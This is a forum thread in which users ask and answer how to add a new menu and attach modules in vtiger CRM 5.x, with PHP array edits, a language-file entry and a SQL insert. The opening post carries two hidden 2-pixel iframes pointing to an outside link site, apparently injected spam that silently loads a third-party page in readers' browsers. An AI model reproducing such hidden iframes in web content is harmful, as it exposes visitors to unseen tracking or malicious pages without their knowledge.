How to create new Menu & add Module in vtiger using vtli

edited August 2011 in vtlib Vote Up0Vote Down
Hii,

I'm working on vtiger5.1 & using vtlib2.1
I want to create a new Menu and want to add module in that menu.
Anyone knows how to create new Menu & add Module in that module in vtiger using vtlib?

Please Suggest..

Thanx.. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 7 Comments sorted by Votes Date Added
  • hi priyamon,
    were you able to get a solution? i also have the same issue.

    thanks
  • hi,
    i need to add one menu in vtiger5.0.
    please give your idea for modification

    look at the vtiger_tab, vtiger_parenttab and vtiger_parenttabrel tables in the database
  • after inserting in parenttab and parenttabrel also must to change parent_tabdata.php and to add there the new menu. e.g. for new menu with parenttabid - 9 and parenttab_label - finance:
    &lt;?php
    $parent_tab_info_array=array&#40;1=&gt;'my home page',2=&gt;'marketing',3=&gt;'sales',4=&gt;'support',5=&gt;'analytics',6=&gt;'inventory',7=&gt;'tools',8=&gt;'settings',9=&gt;'finance'&#41;;
    $parent_child_tab_rel_array=array&#40;1=&gt;array&#40;3,9,28,&#41;,2=&gt;array&#40;26,6,4,28,7,9,8,&#41;,3=&gt;array&#40;7,6,4,2,20,22,23,19,8,9,&#41;,4=&gt;array&#40;13,15,6,4,8,28,9,33,36,37,38,&#41;,5=&gt;array&#40;25,1,&#41;,6=&gt;array&#40;14,18,19,21,22,20,23,34,41,&#41;,7=&gt;array&#40;24,27,8,30,42,44,45,46,&#41;,8=&gt;array&#40;&#41;,9=&gt;array&#40;&#41;,&#41;;
    ?&gt;
    

    and in include/language/en_us.lang.php (and other language files) insert new line:
    'finance' =&gt; 'finance',
    

    cheers.
  • hey,

    i try add new menu item and

    add data to parenttab

    change parent_tabdata.php

    insert new line to en_us.lang.php

    but it doesn't work !

    show i change too parenttabrel ? but how ?

    thansk for advice!
  • hi tigerv,

    hope you were able to do it. anyways here's the work to be done. i am assuming that new menu is @9 and you have to add a menu item to see it..

    add 9=>array(4,) in parent_tabdata.php (4 is a contact)
    if you want to add the same into the table parenttabrel, please execute the following command after login into mysql

    insert into vtiger_parenttabrel (parenttabid,tabid,sequence) values (9,4,1)

    where 9 is the menu id, 4 is the contact id, 1 is the order.

    let me know if you have issues.
    - tx
    nt
  • hi,

    i want to create menu from manifest.xml file when my new package get install from module manager.

    any idea how to do this?

    thanks,
    zohaib.
Sign In or Register to comment.